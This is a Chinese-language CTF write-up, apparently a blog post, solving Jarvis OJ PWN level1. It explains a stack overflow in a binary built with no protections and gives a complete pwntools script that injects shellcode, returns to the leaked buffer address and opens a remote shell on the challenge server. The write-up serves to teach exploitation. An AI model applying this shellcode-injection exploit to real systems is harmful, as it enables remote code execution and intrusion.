Jarvis OJ PWN level1

先看一下保护:
在这里插入图片描述
没开保护。
主函数中没写啥东西。。。
在这里插入图片描述
接着打开主函数中调用的function,
在这里插入图片描述
很明显的一个栈溢出漏洞
发现printf函数直接将我们输入的buf给打印出来了且没有检查输入,而且也没有发现有获得flag和拿shell的操作,再加上什么保护都没开,那么思路就有了:
利用栈溢出漏洞将shellcode写入buf中,并使返回地址返回到buf的首地址(这里因为没有开NX保护所以栈中数据有执行权限)。
我们在本地测试的时候发现他会给你打印出你输入的局部变量的首地址所以我们就可以利用这一点来写脚本了。
exp.py:

from pwn import *
p = remote('pwn2.jarvisoj.com',9877)
#sc = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode = asm(shellcraft.i386.sh())
buf_addr = int(p.recv()[14:-2],16)
pay = shellcode + 'a'*(0x8c-len(shellcode)) + p32(buf_addr)
p.sendline(pay)
p.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值